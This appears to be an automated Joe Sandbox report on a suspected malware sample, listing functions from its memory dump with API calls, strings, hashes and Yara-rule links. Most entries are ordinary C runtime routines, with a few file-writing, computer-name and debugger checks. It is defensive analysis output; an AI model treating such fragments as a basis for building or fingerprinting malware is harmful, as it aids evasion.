Function 00401475 Relevance: 7.6, APIs: 5, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040148F
__set_app_type.MSVCRT ref: 004014A8
_controlfp.MSVCRT ref: 004014BC
__getmainargs.MSVCRT ref: 004014EA
exit.MSVCRT ref: 0040151C

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.2182881289.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000001.2182881289.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_lxsyrsiW.jbxd

Similarity

API ID: __getmainargs__set_app_type_controlfpexitmemset
String ID:
API String ID: 1611591150-0
Opcode ID: 3e9f39bb6ffd838578539124f816f781f8a913f6e0aece3818f3f62b9f724f52
Instruction ID: 9bdd3bf799432f41f787d58fcaaf5403f241b1bf87296188f28308fcf3b5ab6f
Opcode Fuzzy Hash: 3e9f39bb6ffd838578539124f816f781f8a913f6e0aece3818f3f62b9f724f52
Instruction Fuzzy Hash: CA110CF5E00104AFCB01EBB8EC85F4A77ACA74C304F50447AB909E7361E979EA448769

Function 1000B180 Relevance: 6.1, APIs: 4, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 1000B2BA
WriteFile.KERNELBASE(?,?,00000004,?,00000000), ref: 1000B2E0

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 32631c146431d5caa784b435f80b75a1b640849307dfc12bec7041bd0071469d
Instruction ID: bfceab962039c3431f0d920990651090cd1c4c65727954dcb43a48a868385f99
Opcode Fuzzy Hash: 32631c146431d5caa784b435f80b75a1b640849307dfc12bec7041bd0071469d
Instruction Fuzzy Hash: DE318E7040CB80AEF301DF65886576FBFE0EF923E4F95859DE5D486299D3B889088793

Function 100097E0 Relevance: 4.8, APIs: 3, Instructions: 308COMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(?,10008FCC,?,00000001,?,00000002,?,?), ref: 100098BE

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: FileSize
String ID:
API String ID: 3433856609-0
Opcode ID: d74f2fca9a77fe10a5de1895a53b4e69ebdba06ca88f7dd4cac146ae40992855
Instruction ID: 945e49c847fada588070ccd41f20cc94e8f566d75302129b1ddbdbf4f5afe422
Opcode Fuzzy Hash: d74f2fca9a77fe10a5de1895a53b4e69ebdba06ca88f7dd4cac146ae40992855
Instruction Fuzzy Hash: 0E910460C0D3C29FF792CA244D50A763BE0FB531E0F4A45AAE5C68A1AFDB259E05C353

Function 10027DF0 Relevance: 4.6, APIs: 3, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 10027E0F

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f3dfdc31cc27183ae44ef31ee2d0972980f6737d7a8368bfb4877219d4919641
Instruction ID: 5044bc66183f9a0c8fb5e43b9644b69d944f4be2a2ad3dd314c0752b6b08d565
Opcode Fuzzy Hash: f3dfdc31cc27183ae44ef31ee2d0972980f6737d7a8368bfb4877219d4919641
Instruction Fuzzy Hash: CD21DA3890A2816BD361D710BC05BF93AF8FF52790FC2488AFA8C591D2D3647D498367

Function 10005F10 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

VhS`, xrefs: 1000604B

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID:
String ID: VhS`
API String ID: 0-1438808629
Opcode ID: fc3748b68d94d049562a0d418e99007f55a8802754c178d4ad4717a4a44346b7
Instruction ID: 81e7802e88a2e8759e0b2ab5fef3d46fa6bd4e812ee5d9bde0e72f4ce5cf71b6
Opcode Fuzzy Hash: fc3748b68d94d049562a0d418e99007f55a8802754c178d4ad4717a4a44346b7
Instruction Fuzzy Hash: BE71D331C0C3C38EF355C6248C146777BE2EB4A2E2F6686AAD5D58B0AED6778D44C352

Function 00401000 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 0040100F

Strings

j+s9ha:h4p,hw@i*w-.twyn9k7[kazbv, xrefs: 0040106E

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.2182881289.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000001.2182881289.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_lxsyrsiW.jbxd

Similarity

API ID: malloc
String ID: j+s9ha:h4p,hw@i*w-.twyn9k7[kazbv
API String ID: 2803490479-2443507578
Opcode ID: 9b87e1f0081ca89dfff0da140871b25e0bf5e5df9078889f7e82ab436f17736e
Instruction ID: 9430970044b5224a9c12c246655217461080a0914b4116f12426152c687b188d
Opcode Fuzzy Hash: 9b87e1f0081ca89dfff0da140871b25e0bf5e5df9078889f7e82ab436f17736e
Instruction Fuzzy Hash: 1B110CB0A05248EFCB04CFACD4907ADBBF1EF49304F1480AAE856E7391D635AE41DB45

Function 10005D20 Relevance: 2.5, APIs: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 10005D6D

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3ebe32634cebc0e6ba28336f4acad1c9254ce2d227efa467861c6f6b5a69768f
Instruction ID: 10f37380cb21cafac1f15da1ce1ba0c7b9493c247f18e36487c97ec66e7685fb
Opcode Fuzzy Hash: 3ebe32634cebc0e6ba28336f4acad1c9254ce2d227efa467861c6f6b5a69768f
Instruction Fuzzy Hash: 1FF0B464E04381AAFBFAC360DD9DB633AE0D7036EBF4A4447E141590BED5675D41C102

Function 10006490 Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0270750c9285815a7f873a12642cee778a57825cbed459cc1f52dbb632ba1e
Instruction ID: f5d173d4cae944e8ad377c523d4776d1fd4076796be255565f4cde4383f34985
Opcode Fuzzy Hash: 3f0270750c9285815a7f873a12642cee778a57825cbed459cc1f52dbb632ba1e
Instruction Fuzzy Hash: 0331C670D0C3828AF351CA64CC4436A7AF3EB8E2E0F75859AD5858B19ED63A8D048752

Function 10006086 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 1000608C

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7b4e4ca92de925539c70dd9292a21fe46a6dd467e51982ba35b9f1b7c8ce00b4
Instruction ID: 43ca6a973a732ecce98daaa1a25a42009db911c9e78af6c4eab94d1d62504c44
Opcode Fuzzy Hash: 7b4e4ca92de925539c70dd9292a21fe46a6dd467e51982ba35b9f1b7c8ce00b4
Instruction Fuzzy Hash: 0501D671C4D3829EF351CB208C002677BF6EF4F2D0F2A869AE5819B0AAD6348D04C752

Function 004013FF Relevance: .0, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.2182881289.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000001.2182881289.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_lxsyrsiW.jbxd

Similarity

API ID: memset$EntryPointfopenstrcmpstrcpy
String ID:
API String ID: 4108700736-0
Opcode ID: 8a31f6e7c9d8c4b79f68c5e1b4c980db31f3675092d636c129533732d18511af
Instruction ID: 7b5742814f41c47d4244d2c3f0283e0289412fe64b87ae5b76c2526650b71fed
Opcode Fuzzy Hash: 8a31f6e7c9d8c4b79f68c5e1b4c980db31f3675092d636c129533732d18511af
Instruction Fuzzy Hash: 4BF074B5A04248AFCB40EFB9D981D8A77F8BB4C304B5044B6F948D7351E674EA448B58

Non-executed Functions

Function 10041361 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 10041459
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 10041463
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,00000000), ref: 10041470

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 0c706e3b66ba7a101db3cd53c9592b531c508e952705ec37707bb99f91540c14
Instruction ID: c22336146ae1c50ddd8084a0a2d72aac50352fc94dd7634e4dedba4d2f482ad5
Opcode Fuzzy Hash: 0c706e3b66ba7a101db3cd53c9592b531c508e952705ec37707bb99f91540c14
Instruction Fuzzy Hash: 8C31D4749012289BCB61DF64DD887CDBBB8EF08310F6041EAE40DA7250EB709F858F49

Function 10043F3D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,10043F13,00000003,1005DE80,0000000C,1004403D,00000003,00000002,00000000,?,10042038,00000003), ref: 10043F5E
TerminateProcess.KERNEL32(00000000,?,10043F13,00000003,1005DE80,0000000C,1004403D,00000003,00000002,00000000,?,10042038,00000003), ref: 10043F65
ExitProcess.KERNEL32 ref: 10043F77

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: d901a480580f88cf6ed5e805247d5d7d9e09585f2d2463ed2164aa06e86e4e00
Instruction ID: 5735ef3b7e6fef01be9c5a23706bffba73639f9e7f092aed6f7edf70567c3a50
Opcode Fuzzy Hash: d901a480580f88cf6ed5e805247d5d7d9e09585f2d2463ed2164aa06e86e4e00
Instruction Fuzzy Hash: 9FE04631804948AFDF01AF68CE49A483B7AFB46382F118034F905DA032CB35ED82CA88

Function 004BF794 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000000479000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.2182881289.0000000000400000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000001.2182881289.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_lxsyrsiW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da5beaf849cc9916f868562d7cf2760962aee5cc7597a20a15516dd34ea1941
Instruction ID: 9dce6d6b8b05ab0a555f06944759f9cc391f65fca432f5fc4cfe5cd17794a38a
Opcode Fuzzy Hash: 5da5beaf849cc9916f868562d7cf2760962aee5cc7597a20a15516dd34ea1941
Instruction Fuzzy Hash: 9631F3329052446ACF32A96C5C146F77B64AB62BB0F1C45F7E44C86792DB2C8C4DC2BC

Function 004015D7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.2182881289.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000001.2182881289.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_lxsyrsiW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1956bb551ae66424eeb29415ec14ed0c03fc86ff94ae4dcffb4638495b0d7fb1
Instruction ID: 66f553c3c70c46b8825420ed88d2deaa6b5bdf89b3e430e74c23cac08a3ac52f
Opcode Fuzzy Hash: 1956bb551ae66424eeb29415ec14ed0c03fc86ff94ae4dcffb4638495b0d7fb1
Instruction Fuzzy Hash: 65A00457F1D540DFD71317107C5515037745F1554575D4CF3445545053D11D44445535

Function 10001130 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 100424FF Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___free_lconv_mon.LIBCMT ref: 10042543

Part of subcall function 10043073: _free.LIBCMT ref: 10043090
Part of subcall function 10043073: _free.LIBCMT ref: 100430A2
Part of subcall function 10043073: _free.LIBCMT ref: 100430B4
Part of subcall function 10043073: _free.LIBCMT ref: 100430C6
Part of subcall function 10043073: _free.LIBCMT ref: 100430D8
Part of subcall function 10043073: _free.LIBCMT ref: 100430EA
Part of subcall function 10043073: _free.LIBCMT ref: 100430FC
Part of subcall function 10043073: _free.LIBCMT ref: 1004310E
Part of subcall function 10043073: _free.LIBCMT ref: 10043120
Part of subcall function 10043073: _free.LIBCMT ref: 10043132
Part of subcall function 10043073: _free.LIBCMT ref: 10043144
Part of subcall function 10043073: _free.LIBCMT ref: 10043156
Part of subcall function 10043073: _free.LIBCMT ref: 10043168

_free.LIBCMT ref: 10042538

Part of subcall function 10042096: HeapFree.KERNEL32(00000000,00000000,?,10043208,?,00000000,?,00000000,?,1004322F,?,00000007,?,?,10042697,?), ref: 100420AC
Part of subcall function 10042096: GetLastError.KERNEL32(?,?,10043208,?,00000000,?,00000000,?,1004322F,?,00000007,?,?,10042697,?,?), ref: 100420BE

_free.LIBCMT ref: 1004255A
_free.LIBCMT ref: 1004256F
_free.LIBCMT ref: 1004257A
_free.LIBCMT ref: 1004259C
_free.LIBCMT ref: 100425AF
_free.LIBCMT ref: 100425BD
_free.LIBCMT ref: 100425C8
_free.LIBCMT ref: 10042600
_free.LIBCMT ref: 10042607
_free.LIBCMT ref: 10042624
_free.LIBCMT ref: 1004263C

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: eb483edfe315963564988db57b243b2e66e910094b7b3801ac9d68e49e928187
Instruction ID: 80d4f76ae52979dc855e83d83be597b6f0f833f5ce5778967f8c048775cc22ba
Opcode Fuzzy Hash: eb483edfe315963564988db57b243b2e66e910094b7b3801ac9d68e49e928187
Instruction Fuzzy Hash: 7F313BB1B007019BEB21DA34D845B56B3E9FF00291FB14439E45AD7152DE71FD90CB28

Function 10041A1B Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL(00000000), ref: 10041A3E

Strings

sqrt, xrefs: 10041BC2
acos, xrefs: 10041BB6
exp, xrefs: 10041B03, 10041B65
asin, xrefs: 10041BAA
log, xrefs: 10041AE4, 10041AF0
log10, xrefs: 10041A88, 10041AD8
pow, xrefs: 10041B22, 10041BCE, 10041BE1

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 1639ca3591a54545d13dce2ff40711b127de3502d7f4a8cfba1bd329ff851959
Instruction ID: 496ffa460dd9b2aa12352d540c64a8b2ca119fd6790351c66ebdc72429a88fe2
Opcode Fuzzy Hash: 1639ca3591a54545d13dce2ff40711b127de3502d7f4a8cfba1bd329ff851959
Instruction Fuzzy Hash: 2D514970A01A0ADBDB00DFA4EA881EDBBB1FF49350F7141A5E881E7254DB758D24CB9D

Function 10047B9C Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,10048311,?,00000000,?,00000000,00000000), ref: 10047BDE
__fassign.LIBCMT ref: 10047C59
__fassign.LIBCMT ref: 10047C74
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 10047C9A
WriteFile.KERNEL32(?,?,00000000,10048311,00000000,?,?,?,?,?,?,?,?,?,10048311,?), ref: 10047CB9
WriteFile.KERNEL32(?,?,00000001,10048311,00000000,?,?,?,?,?,?,?,?,?,10048311,?), ref: 10047CF2

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: dcd95d2b4e03d47bbff43478d85e059036efca89b2c4bb4c1e5dbd75402f611f
Instruction ID: f2816552115443c7229bfc077955cc8e048ca3a97d87d7fdeeb7cf75c4f0abcf
Opcode Fuzzy Hash: dcd95d2b4e03d47bbff43478d85e059036efca89b2c4bb4c1e5dbd75402f611f
Instruction Fuzzy Hash: E151EB70D002459FDB10CFA4CC85AEEBBF5FF09300F24456AE959E7291D770A951CBA5

Function 10043216 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 100431DA: _free.LIBCMT ref: 10043203

_free.LIBCMT ref: 10043264

Part of subcall function 10042096: HeapFree.KERNEL32(00000000,00000000,?,10043208,?,00000000,?,00000000,?,1004322F,?,00000007,?,?,10042697,?), ref: 100420AC
Part of subcall function 10042096: GetLastError.KERNEL32(?,?,10043208,?,00000000,?,00000000,?,1004322F,?,00000007,?,?,10042697,?,?), ref: 100420BE

_free.LIBCMT ref: 1004326F
_free.LIBCMT ref: 1004327A
_free.LIBCMT ref: 100432CE
_free.LIBCMT ref: 100432D9
_free.LIBCMT ref: 100432E4
_free.LIBCMT ref: 100432EF

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fcd263e1e97f9626aa0bdc167c26919d6134e182e28646451650430cd4015995
Instruction ID: de2e8023f7193a4c2a5ffe9969e1dc1f932c9f33873d0de85b413c360879defd
Opcode Fuzzy Hash: fcd263e1e97f9626aa0bdc167c26919d6134e182e28646451650430cd4015995
Instruction Fuzzy Hash: 90112E76A40B04AAD630EBB0CC07FCB77DCEF45710F909836BA9EE6063DA75B5448658

Function 100444E9 Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,1004473A,?,?,00000000), ref: 10044543
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,1004473A,?,?,00000000,?,?,?), ref: 100445C9
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 100446C3
__freea.LIBCMT ref: 100446D0

Part of subcall function 100432FA: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 1004332C

__freea.LIBCMT ref: 100446D9
__freea.LIBCMT ref: 100446FE

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: cb6e73521219ac1604200574bf9ea775aca78d226025bf774f37d35ceb54ce96
Instruction ID: 0c83146eb8352b41d9e4e6cd2498997cea625c79840de532b16061f18187481b
Opcode Fuzzy Hash: cb6e73521219ac1604200574bf9ea775aca78d226025bf774f37d35ceb54ce96
Instruction Fuzzy Hash: 1651BFB2A00616ABEB15CE64CC81EAF77A9EB45690F374638FC04D7190EF74EC90C659

Function 1004185B Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,1003FDB7), ref: 1004185F
_free.LIBCMT ref: 10041892
_free.LIBCMT ref: 100418BA
SetLastError.KERNEL32(00000000), ref: 100418C7
SetLastError.KERNEL32(00000000), ref: 100418D3
_abort.LIBCMT ref: 100418D9

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 426a1b214f449fbabe24d79378952f512cb14b6f799e9beb475b7c955572f610
Instruction ID: f202c0acdb81aa64a5eae758d42c08751bfe1b6fdc2620f7feb9e63caca283c5
Opcode Fuzzy Hash: 426a1b214f449fbabe24d79378952f512cb14b6f799e9beb475b7c955572f610
Instruction Fuzzy Hash: DDF0CD3A7006117BE311D7355D46EAB16DADFC27A1F71013DF914E2192FF659C42411C

Function 10043FC2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,10043F73,00000003,?,10043F13,00000003,1005DE80,0000000C,1004403D,00000003,00000002), ref: 10043FE2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10043FF5
FreeLibrary.KERNEL32(00000000,?,?,?,10043F73,00000003,?,10043F13,00000003,1005DE80,0000000C,1004403D,00000003,00000002,00000000), ref: 10044018

Strings

CorExitProcess, xrefs: 10043FED
mscoree.dll, xrefs: 10043FDB

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 517e1f112879d4fb75ed8d696a5f771f380b911c2c6cfb392c0c0a3e770559a1
Instruction ID: 4fe64a5819f759115b05a1def77681a479560721cc04137916b3a3784b8cf7e2
Opcode Fuzzy Hash: 517e1f112879d4fb75ed8d696a5f771f380b911c2c6cfb392c0c0a3e770559a1
Instruction Fuzzy Hash: 0AF0C230900128BBEB11DF90CD49BAEBFB9EF45351F110068F905E2160CF749E84DB98

Function 100418DF Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000008,?,?,100415D8,10043CBB,?,10041D2A,?,?,00000000), ref: 100418E4
_free.LIBCMT ref: 10041919
_free.LIBCMT ref: 10041940
SetLastError.KERNEL32(00000000,?,10041D2A,?,?,00000000), ref: 1004194D
SetLastError.KERNEL32(00000000,?,10041D2A,?,?,00000000), ref: 10041956

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 27218d39151a1fb8a4c47cba335538c8ab679a51337d85444a7a2546c0b347db
Instruction ID: 298917bf2bf5f65f3e66c2e4742617b20304a4e795e88abd634da0b038b75747
Opcode Fuzzy Hash: 27218d39151a1fb8a4c47cba335538c8ab679a51337d85444a7a2546c0b347db
Instruction Fuzzy Hash: C701F43B3046127BE312D7709D95AAB16EEDBC62B47720139FA14E2253FA758C82402C

Function 10043171 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 10043189

Part of subcall function 10042096: HeapFree.KERNEL32(00000000,00000000,?,10043208,?,00000000,?,00000000,?,1004322F,?,00000007,?,?,10042697,?), ref: 100420AC
Part of subcall function 10042096: GetLastError.KERNEL32(?,?,10043208,?,00000000,?,00000000,?,1004322F,?,00000007,?,?,10042697,?,?), ref: 100420BE

_free.LIBCMT ref: 1004319B
_free.LIBCMT ref: 100431AD
_free.LIBCMT ref: 100431BF
_free.LIBCMT ref: 100431D1

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7391c506bee86009a89ae6c8a61ca8a829215e2667859e320e20c9ec1ca5e9ca
Instruction ID: 9ba6a6cbad0a28da5a5dfaf1b7a119aeefcbeabe35988339130f8bcf59d7326a
Opcode Fuzzy Hash: 7391c506bee86009a89ae6c8a61ca8a829215e2667859e320e20c9ec1ca5e9ca
Instruction Fuzzy Hash: 50F06DB16402109BD674DB68E9C2C1B73EAFA402507B09829F44AD7622CB70FC808A68

Function 100434FF Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000100,?,00000000,?,?,00000000), ref: 1004354C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 100435D5
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 100435E7
__freea.LIBCMT ref: 100435F0

Part of subcall function 100432FA: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 1004332C

Memory Dump Source

Source File: 00000008.00000001.2182881289.0000000010000000.00000040.00000001.00020000.00000000.sdmp, Offset: 10000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_10000000_lxsyrsiW.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 891f923397d8f86d33f5a117b0420deb6528402b7108c8e421098af4ced467dc
